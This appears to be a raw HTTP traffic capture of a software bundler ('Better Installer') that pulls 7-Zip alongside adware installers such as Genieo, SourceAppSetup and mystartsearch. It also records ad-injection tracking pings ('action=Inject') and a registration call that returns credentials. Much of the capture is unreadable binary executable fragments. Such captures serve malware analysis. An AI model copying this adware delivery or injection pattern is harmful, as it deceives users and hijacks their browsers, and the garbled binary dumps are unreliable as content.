.b..Z./..20150223190331Z0k0i0A0... ..........j.....p.I.#z...(~d..J....
..h.v....b..Z./..&L.$(.......20150223190331Z....20150302190331Z0...*.H
.............J....X..4y.. .M_Df.....C.W......3E...e..6.VR..X.S%..(D6.}
[..q.l......g....I...0............<.....Z.)(.r...0.G..X.......B;?fQ
...(.38..?.n.;..<.....l]...."......Ebhhz......?...zIc~.*..?Py...2?.
~K.F..TD.._F`...:...*k...k....._...X:..Ja .zl.m.X.v......;a".2B..t>....<<< skipped >>>

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.......0....0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 00:04:09 GMT

Expires: Sat, 28 Feb 2015 00:04:09 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.08

0..........0..... .....0......0...0......J......h.v....b..Z./..2015022
3190250Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
......0......20150223190250Z....20150302190250Z0...*.H...............G
F...h..W...d..e.WIE.....W._......e/f D.o..}.... .......-.Q.....iw.Aa..
......lQu...h.......%......*@.K.^..a.....&...tF.j".xC~.c..a...........
...p<.F%.."...p.S..!......s.T#E.... M.z/Vo.G.l..:Z_............K1..
C.....]..p.0.......D...J"......;.L.`7.V....HTTP/1.1 200 OK..Content
-Type: application/ocsp-response..Date: Tue, 24 Feb 2015 00:04:09 GMT.
.Expires: Sat, 28 Feb 2015 00:04:09 GMT..Cache-Control: public, max-ag
e=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protectio
n: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80:
quic,p=0.08..0..........0..... .....0......0...0......J......h.v....b.
.Z./..20150223190250Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h
.v....b..Z./.......0......20150223190250Z....20150302190250Z0...*.H...
............GF...h..W...d..e.WIE.....W._......e/f D.o..}.... .......-.
Q.....iw.Aa........lQu...h.......%......*@.K.^..a.....&...tF.j".xC~.c.
.a..............p<.F%.."...p.S..!......s.T#E.... M.z/Vo.G.l..:Z_...
.........K1..C.....]..p.0.......D...J"......;.L.`7.V......

<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=416430-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:02:19 GMT

Content-Type: application/octet-stream

Content-Length: 694046

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 416430-1110475/1110476
XD.h(...a....k.i.5ML'..u.........* .....L...r.....l.OrB..Q';..Ac......
-8.D..W.c.<..4...Y...v...zzL.x.......b...b... qv....5..#cF..f..q...
F.....#|I.K..^.\Q..$..G...4.3/.gk.....dY.N...../.......n.W'x..h...."[-
..3"(.u..x.:g....3S.0....I....Q.........S.I...4O...;..k3.Z'..V1...}.92
A.2.La..&..ys][email protected]\.".`.3.|.'>.xZ...........GO.....
....../o........N.J...Mt.e.. ..Z..C#..{ou.^K\xW..."..f.l...L F.....C..
!.....Il5j8jM.......h.E."3.].!........%.......&.....%2.).{v...>....
Ii..1MJ.L.V........N.G'x.o...Ni...\ >[email protected]:.^..7
z.{Zn...W......M...^X...;)..W;;}.............m&.!......s_..{.<....4
..~Q..F.Y..$.)c.;.Y{..!m..G.v....V.79T.P...L..F.A[...z.B..i.r}........
...&.......S....X,.]..d{...'..r.P..#,.=f}^..#..EY. .A...$..'._.zi.3. .
.s..................... .....6"W...\.0.4...x..H..x......[..Q..Q9[O....
......b.ky..O?...!........N.....*I......k.bw.{...[......~.....X..VT.N(
.k...?.8t........r..\.....*...#....D........B......Qx....?...3U..pG...
......[e..?]....no.#..1Y.P....6;/umQ..c5.. .7Nr........^..A..O..W.....
{..P...;........;.....`.....o;Tks.......q.r.[k.n..gu....5...{lH7.... D
....=.`../Y.[.....m.....9'.{..LB.<....4......>..............>
.......G....x..*L.Gc>.=t..j.B.....;;n.H .J....O....\..-..T......p..
.X......#..<...f.>j.U.o..cV]..o...'...F*%..y..G.a....JM.9U......
j...;0^.....-Y.. ....H.s.$.J.......kE.J.=..oH..H.PS.....K...J...z=..KU
.s.Y.._HZ*.^.4.o..StA...A.V..5.~..?..{3K.............9.N7G^..Az>G-V
p.7z...._..s.V.<.....(....".p.X....-..AS.%}[email protected].<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2ACRfzZy NK/GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUPnN75nI7N3JQ8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63ybiCNsp2cHm&product=EXTFirefox&rnd=1424736267&it=1&action=Inject&text=PriceGong_DealPly HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:04:08 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 00:04:08 GMT..Content-Length: 0..

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:04:23 GMT

Date: Tue, 24 Feb 2015 00:04:23 GMT

Content-Range: bytes 0-583151/583152

Content-Length: 583152

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................O........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
[email protected]...`...p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=617755-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache



.....Nn...O6.z.[B..W2.YB% pR.^.$.v.a...*5..].. ..#.`G.._p.T.[&...w!..a
.|.86...MLe..D..u.t..I.....M....h.j.g.R..P1.)=#.<...^....E..b..:...
..O.)o.w....#?E.6.....Z..S.......W@/*".98.....&*~S...(......Ba..icN|N.
....<..'s....e..U<UA.VO....x.....Y..X.3[..>.........j......,&
gt;./hx...K....Le..e.(O.....l.....Y.F.7J2G.>:...q...c3u [email protected]^.
.../........[G..#.X..p..J.`.^.6.i.n..i...%...p..{);..Mv.!.wCp.$..U....
.5......Yj.^[...8.V...wa...3.....p9y.j.....h..Kec.D.G..)7......<...
8`...U`k.5.^............x.U..:6...b....-....O8...e...S....m':....y6\..
bJ.V...ex;....a..V.Lq......8....H".~.{....P{e.AZ.....|..........."...#
...g" .A.....7ZH....O=......:....."...cJ..~Q..uw.8vhO..8...........fD.
?.....`J.8..iE....$.p.........Gj.....|Q... ....=.s1.E...._......7(X...
u...Fr....a[......._J.;..w..]..M;..........c...*.K...1..ar...... .9.oG
BCq..2......\.......Q...Q.....qe..d...)....E}>... .6e*........eID..
v...Z-...f%.....x......Q.VY87.%.?.D...&.J......UB_k....t..;.L...WW.j"Z
(uwMo..S?..O....pgK.....n...3..../e..-.R.r.\.....p!.......d......N....
~. 4..T..E..q...e..I....Gqs=...C....lPu"I.(O.2..=3.g.../.a.N..$7....x.
r.W..>[email protected].~.[..0..x.Z.F.=..5X.Q..g..........p..J ...r..S...
.mC..Dh~.K!z..u...aC..8....s......i.._4./@.)..........-!.O..%..3......
4.w.P..YE.g.&Y$.....<.nD.....E.?..&..J:v.A..$..(X.1.U..1...q..RWd u
.L....5.M....Z..F..5.y.<.../...:2.....y(R/!;.Z.B<..F*/.V.J{."..1
.|...!......S...}3...2.........r35.{..5R...DA).=.......aPnl......1..:.
Y....BG...z..Q..3-NLB..4.m<N......:...-.wX..j_"..J....\..*.zc.k<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71389-142779

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71391

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71389-142779/285558

Age: 714

X-Cache: Hit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1v1ybH1_MuMF3zsFBqgcKDdpuPVyuP6sC-7hjuwQnyKEVm9t1lgFDA==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=80408-160816

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 80409

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 80408-160816/321632

Age: 1013

X-Cache: Hit from cloudfront

Via: 1.1 1617f8bb348c173b7002e26d4d35f91a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: be4vbrvv2CtfQ5QAti3MwLmZwYHvvlmbmYpTYX74BeD_5HZGmWpL_Q==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=35695-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 249863

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 35695-285557/285558

Age: 913

X-Cache: Hit from cloudfront

Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ZVDMwX_yRUSvksR3_Jpgpmwu6v4C_ZNkm3mhXN3RxTDE2OqB9Tvm7A==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................<<< skipped >>>

GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=866788&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:29 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Tue, 24
 Feb 2015 00:02:29 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....

GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 00:02:20 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=stwasxzel0a5ovn3t1puwm55; path=/; HttpOnly

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 98
<RESULT>.<USER>.<ID>1788e91e-8b19-462a-8e2b-90ae6919
9b26</ID>.<PW>p2giThPc</PW>.</USER>.</RESUL
T>...

GET /app/ping.ashx?e=QHucCbLl /arv6GrtwjWz 6XO 6uR0y1HsPX2pj8kjz7RH4w/5EvdUqAWhGQi7pGk2HxL2Lh3QcOAfDk6wxi8sc5Qjju6WUHhjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAG27ZJ5jSGyw4HlsMFv6DPGKDUvWJs0s75mmCV7hIWA97G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lyiuy5/oVLbn /EIcMoNBcHzbANYrsS2gc4WlksRGMMpgBCRaX4ol5yPWYSNtYw8BllabK/bD0 X/RyOmuLrtWH3AqTFiqNP5w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:15 GMT

Content-Length: 0

GET /sd?is=sm HTTP/1.1

Range: bytes=291576-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:01:04 GMT

Date: Tue, 24 Feb 2015 00:01:04 GMT

Content-Range: bytes 291576-583151/583152

Content-Length: 291576

Connection: keep-alive
G.Z.....H.<.C...t......\f. .8...*.wd........Qp.aX.f..C.....WE.3h...
.).$....A........yrD.1.f..]...J...E<..1..L.1.{..j.f.=....fM.F.....z
...D...g.....u.6.I'.U...[..7......Y..:n...^...A....w../9.....U.....?.'
......xO62.P.qw&.(....uBa...Y@;......:.II.]..m.....%..<.D..v.).i<
;:..J....J.;..<...X.)p...::I_U.........8..5..Y"..L<36..c}t..;...
.j.....?....@.`.......I|.L5....q}..3...ll=...bdI5..[?.....}.EeL..R....
5"...(......../.....W..~..].@.. [email protected]%.Y...r]a.b..
.....)G..n[T...}O....y1.j..!.c)..4.08.....u...9.8..H...D..k...r.....Ia
PJ"..].Pm..K.>.V1vp9y.....=..bp.:.g..F..C.0.eB./..nxD.N..'.4.......
'3.1..m..0..=.^..._...S...M...i.t..yq....|....T.....&v.e.........D....
Z.7...T.......I...$.....A ..er....o...C..Y...A.F]hy!..q.........#....@
$D.$L<...Uy..|;?*..&.4.....!..v.'E.l....(.....z.~..Ae.|..D......@..
[email protected]....\<1.|.*...m>....o#.@..
&1...E...z....v.m.?....2..:.X....N..J...l..#`d.^[.oj.1.........x..n.O|
.vfU. ..R.....x..Yg.._..u...G. ...N[[email protected].,...g.=
}4n......aH...a.....`..v.......'@...<R.L......."J(..##..nV'..f../V.
..w!..'%..(b.`......e.h....x=9&......M..X-_T...c.8..]'.F...........M..
...m.G.........s..X...|.......;......2..B..AAu4..Wu..B...lf..........B
Uw.C...^J...(F.1;.s..f3.............m,...<.. .N.9..3$..C..=...a..z.
....G..?..i-.2.....hD..?....^?..B........~.....>]........G0...F....
'][email protected].......)..W.r.=.ò....l.r.z..........
7..e. \$D.......t.......[.Z..N2.......%[email protected]...<....C...c...o<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:02:19 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=145788-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:02:16 GMT

Date: Tue, 24 Feb 2015 00:02:16 GMT

Content-Range: bytes 145788-583151/583152

Content-Length: 437364

Connection: keep-alive
t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d.YE.o...?&.
.... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*...8J........
2}...Yq.M.........G..#..Y..........=.A...~..R....QL9........VB......E.
5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...V..t.}.....
.'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\......0..$.
s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:...Z.a...C?..
.....W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W...j2.V.a...
..q..,...V......sr;.........n.".S.WI..n?........Z....^..7.. }....B.m. 
.eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-..0.a.)2...(
DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C..........@G]
C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.X'.t....j.n
....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a..........".y..II..
.{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i ;.........
N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`..R$..4$.-s.
u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M.....W}[email protected].
.....r.ei....K0....5.....7....1M3X.C.......q..Gh.R.... zi=-...p:.8....
...].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W....ZHNC.w.Y.=
 .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.>...4.{.
M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9f..0~.V.t...m'.=
.F....cfA....vN....ae.L u7..q..#,H.............:....{j...L.xb.......v.
...j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%.....c...*.IK.b.jz.l
.!)....U...&...........BxfJ$..U..SU...:.g>O./..J.....]....IT.9.<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.wpm HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Feb 2015 00:04:20 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.33 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 24 Feb 201
5 00:04:20 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.33 ms","message":"store 1 act
ion and 0 update "}..0..

GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1hg3hnogsqyks.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 05:21:06 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 22 Feb 2015 05:31:06 GMT
